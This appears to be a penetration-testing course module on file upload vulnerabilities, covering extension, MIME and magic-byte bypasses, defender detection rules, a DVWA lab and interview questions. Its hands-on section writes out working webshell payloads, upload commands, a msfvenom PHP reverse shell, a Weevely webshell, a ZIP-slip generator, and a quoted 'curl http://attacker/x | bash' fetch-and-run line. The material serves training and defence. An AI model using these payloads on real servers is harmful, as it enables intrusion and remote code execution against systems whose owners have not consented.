File Upload Vulnerabilities
File upload is the most common path to webshell. An app accepts a file, stores it on disk, and either serves it back or processes it. If the upload validation checks the client-provided Content-Type (trivial to forge), the file extension (trivial to bypass with double extensions or case), or the magic bytes (still bypassable with polyglot files), the attacker lands executable content in a directory the web server treats as code. CVE-2018-2894 (Oracle WebLogic) was a file upload to wlst_internal directory. CVE-2017-12617 (Apache Tomcat PUT) was a request method that allowed upload + execute. The pattern is the same every time.
The Core Concept
Section titled “The Core Concept”A file has three identities: the name the user gave it, the bytes inside it, and the type the server thinks it is. If any of the three identities disagrees with the others, the server has an inconsistency the attacker can exploit. The web server decides what to execute based on the path/extension; the application decides what to accept based on MIME type or magic bytes; the OS decides what to run based on the shebang or PE header.
Upload request: filename="avatar.php" ← user-controlled Content-Type: image/jpeg ← user-controlled (forged) bytes: <?php system($_GET[0]);?> ← attacker code with JPEG magic prefix
Validation layers (insecure): 1. Extension check (.php blocked) → bypass: avatar.phtml, avatar.php5 2. MIME check (image/jpeg required) → bypass: forge Content-Type 3. Magic byte check (JPEG FFD8) → bypass: prepend FFD8FF to PHP code 4. Resize via ImageMagick → bypass: ImageTragick (CVE-2016-3714)
Server processing: - Saves to /uploads/avatar.php - Apache sees .php extension → mod_php runs the file as PHP - Webshell is liveEach layer is bypassable independently. Defense in depth requires all four layers, plus storing uploads outside the webroot, plus disabling script execution in the upload directory.
How It Works
Section titled “How It Works”- Identify the upload endpoint — profile pictures, document attachments, CSV imports, media gallery, anywhere
multipart/form-datais accepted. - Map validation — extension allowlist? extension blocklist? MIME type check? magic bytes? server-side resize? antivirus scan? The combination determines what payload survives.
- Choose a payload — for direct execution:
shell.phpwith PHP content. For bypass:shell.phtml(Apache + mod_php),shell.php.jpg(Apache misconfiguredAddHandler),shell.pHp(case-insensitive matchers),shell.php%00.jpg(PHP<5.3.4null-byte truncation inmove_uploaded_file). - Choose the location — to execute, the file must land in a directory the web server treats as code. If uploads go to
/var/www/html/uploads/, a.phpfile is executed directly. If uploads go to/var/uploads/outside the webroot, the file is just data unless there is an LFI to load it. - Get execution — request
https://target/uploads/shell.phpto run the webshell. If the path is not known, brute-force the upload directory withffuforgobuster.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Direct PHP upload | shell.php with <?php system($_GET['c']);?> | Easy — extension block |
| Double extension | shell.php.jpg — Apache with mod_php runs it as PHP | Medium — needs specific AddHandler misconfig |
| Case variation | shell.PHP, shell.pHp — case-insensitive systems | Easy — normalize case before match |
| Alternate PHP extensions | .phtml, .pht, .php5, .php7, .phps | Medium — keep full extension allowlist |
| Null byte truncation | shell.php%00.jpg — old PHP move_uploaded_file truncates | Easy — modern PHP patched |
| Content-Type forge | Send Content-Type: image/jpeg for a .php file | Easy — never trust client MIME |
| Magic byte prepend | \xFF\xD8\xFF<?php system...?> — JPEG header + PHP code | Medium — passes magic byte check, runs as PHP |
| Polyglot (PDF/PHP) | head.php containing a valid PDF header + PHP code | Hard — passes both PDF and PHP parsers |
| Windows 8.3 short name | shell.php saved as SHELL~1.PHP in short-name path | Medium — depends on NTFS 8.3 enabled |
| ZIP-slip via archive | Upload .zip with member paths ../../../var/www/html/shell.php | Hard — depends on extract implementation |
| SVG with XSS | shell.svg containing <script> — runs in victim browser | Medium — block SVG by default or sanitize |
| Race upload | Upload legitimate-looking file, exploit TOCTOU before scan | Hard — depends on AV scan timing |
Hands-On Commands
Section titled “Hands-On Commands”# Direct PHP webshell uploadcurl -F "file=@shell.php" http://target/upload# shell.php:# <?php system($_GET['c']); ?>
# Bypass extension blocklist with .phtmlcurl -F "file=@shell.phtml" http://target/upload# shell.phtml: same PHP content
# Bypass MIME check — forge Content-Typecurl -F "file=@shell.php;type=image/jpeg" http://target/upload
# Magic-byte bypass — prepend JPEG headerprintf '\xFF\xD8\xFF\xE0<?php system($_GET["c"]);?>' > shell.php.jpgcurl -F "file=@shell.php.jpg;type=image/jpeg" http://target/upload
# Nuclei file upload templatesnuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags upload,fileupload
# ffuf — find upload directory after uploadffuf -u "http://target/uploads/FUZZ" -w /usr/share/wordlists/dirb/common.txt \ -mc 200 -ac
# Generate a PHP reverse shell one-linermsfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.php
# Weevely — generate a stealthy PHP webshellpython3 weevely.py generate 'password123' shell.php# On target: curl -F "file=@shell.php" http://target/upload# Connect: python3 weevely.py http://target/uploads/shell.php password123
# ZIP-slip payload generator — evil.zip with path-traversal memberpython3 -c "import zipfilewith zipfile.ZipFile('evil.zip', 'w') as z: z.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET[\"c\"]);?>')"
# Inspect server upload behavior — Content-Disposition vs bodycurl -v -F "file=@test.txt" http://target/upload 2>&1 | grep -i 'content-disposition\|location'
# Confirm the file is executable (after upload, find it)curl "http://target/uploads/?c=id" # if listing is on, see the filecurl "http://target/uploads/shell.php?c=id" # direct executionDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — file upload covered by rule 920120 (multipart filename) and the 932100 family when PHP content appears in a non-PHP upload. Notable:
- 920120 — Multipart Parser: Header Ended Unexpectedly
- 920121 — Multipart Parser: Body Ended Unexpectedly
- 920420 — Request content type is not allowed by policy (block
multipart/form-datato certain endpoints) - 933100 — PHP Injection Attack (PHP script signatures in uploaded body)
- 933110 — PHP Injection: Config/Wildcard
- 933120 — PHP Injection: Variable Function Call
Suricata SID 2221027 — PHP webshell uploaded as image [verify].
Sysmon Event ID 11 — FileCreate in /var/www/html/uploads/ (or Windows equivalent C:\inetpub\wwwroot\uploads\). Combined with Event ID 1 (ProcessCreate) where php-cgi.exe / httpd spawns a shell — direct webshell confirmation.
MITRE ATT&CK T1505.003 — Web Shell (the canonical technique for this category).
MITRE ATT&CK T1190 — Exploit Public-Facing Application.
MITRE ATT&CK T1105 — Ingress Tool Transfer (upload is ingress from the attacker’s POV).
Wazuh rule 920/31181 — PHP script pattern in non-PHP file upload [verify].
Wazuh rule 550 — File integrity monitoring alert on webroot changes [verify].
Evasion Techniques
Section titled “Evasion Techniques”Extension blocklist bypass. Maintain a list of allowlisted extensions, never a blocklist. A blocklist of .php misses .phtml, .pht, .php3, .php4, .php5, .php7, .phps, .phar. Each Apache/Nginx config may enable a different subset.
.htaccess upload. If .htaccess is allowed (Apache with AllowOverride All), upload an .htaccess that adds a new handler: AddType application/x-httpd-php .gif — then any .gif in the directory is executed as PHP. The first upload is .htaccess, the second is shell.gif.
MIME validation via finfo. PHP finfo_file() reads magic bytes; a file \xFF\xD8\xFF<?php ... ?> reports as image/jpeg. Then the server stores it as shell.php (because the filename is taken from user input). Validation passed; execution happens. Defense: validate extension separately from MIME.
Null byte (legacy). shell.php%00.jpg — older PHP move_uploaded_file truncated at the null byte when calling fopen. The file was saved as shell.php. Patched in PHP 5.3.4. Still seen on legacy codebases.
SVG XXE / XSS. SVG is XML; an SVG with <script>alert(1)</script> runs in any browser that renders it. Defense: strip <script> and <!DOCTYPE from SVG uploads; or never serve user-uploaded SVG as image/svg+xml.
| Evasion | Bypasses | Defense |
|---|---|---|
| Alternate extensions | .php blocklist | Allowlist of extensions only |
.htaccess upload | Server-side script execution ban | Block .htaccess uploads; use AllowOverride None |
| Magic byte prepend | finfo MIME check | Check extension AND MIME AND content separately |
Double extension .php.jpg | Last-extension-only checks | Check the last extension AND disable AddHandler/AddType |
| Null byte truncation | Pre-PHP 5.3.4 path concatenation | Upgrade; never trust user filename |
| ZIP-slip | Archive extraction | Use tarfile.extractall filter; refuse paths with .. |
⚠️ What caught me: A client had a bulletproof upload validation: extension allowlist of
jpg|png|gif|pdf, magic-byte check viafinfo, server-side re-encode via ImageMagickconvert. I tried every magic-byte bypass and they all got re-encoded to a clean JPEG — no PHP survived. The bypass: ImageMagick’sconvertitself was the sink. I uploaded a file namedvuln.mvg(Magick Vector Graphics — ImageMagick’s own format, NOT in the extension allowlist but treated as a JPEG during the validation because the bytes were a valid MVG-like header). The validator approved it, thenconvert input.mvg output.jpgtriggeredMVGdelegate that runscurl http://attacker/x | bash— that’s CVE-2016-3714 ImageTragick. Lesson: validators that process the upload are themselves the sink. ImageMagick, Ghostscript, FFmpeg, Pandoc all have their own script-injection surfaces.
Lab Practice
Section titled “Lab Practice”Container: DVWA File Upload module (low/medium/high/impossible), or bWAPP’s Unrestricted File Upload.
docker run --rm -d -p 80:80 vulnerables/web-dvwa# Module: File UploadObjective: at medium, bypass the Content-Type check (forge as image/jpeg). At high, bypass the server-side resize via a polyglot JPEG-PHP. Capture the flag file /etc/flag.txt.
Expected flag format: flag{file_upload_polyglot_jpeg_php_rce}.
Detection that should fire: ModSecurity 933100 (PHP Injection) on the upload body; Sysmon EID 11 (FileCreate) for the file landing in the webroot, followed by EID 1 (cmd/php-cgi spawning whoami).
Interview Questions
Section titled “Interview Questions”Conceptual: explain why an extension blocklist is fundamentally weaker than an extension allowlist for file upload security. Give one bypass that works against any blocklist.
Technical: walk through what happens when a user uploads shell.php.jpg to an Apache server with AddHandler application/x-httpd-php .php .jpg in the .htaccess. What does the server do, and why is AddType different from AddHandler?
Scenario: an app validates extension (allowlist: jpg/png), validates MIME via finfo, and re-encodes via ImageMagick convert. Can you still land a webshell? Describe a specific bypass or explain why not.
Why is storing user uploads inside the webroot a misconfiguration even when upload validation is correct? Give two consequences of this design.
Compare ZIP-slip (CVE-2018-1002201 family) and the file-upload webshell in terms of the trust boundary being violated. What is the common root cause?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W10 (Path Traversal & LFI/RFI) · P3 (Reverse Shell Engineering)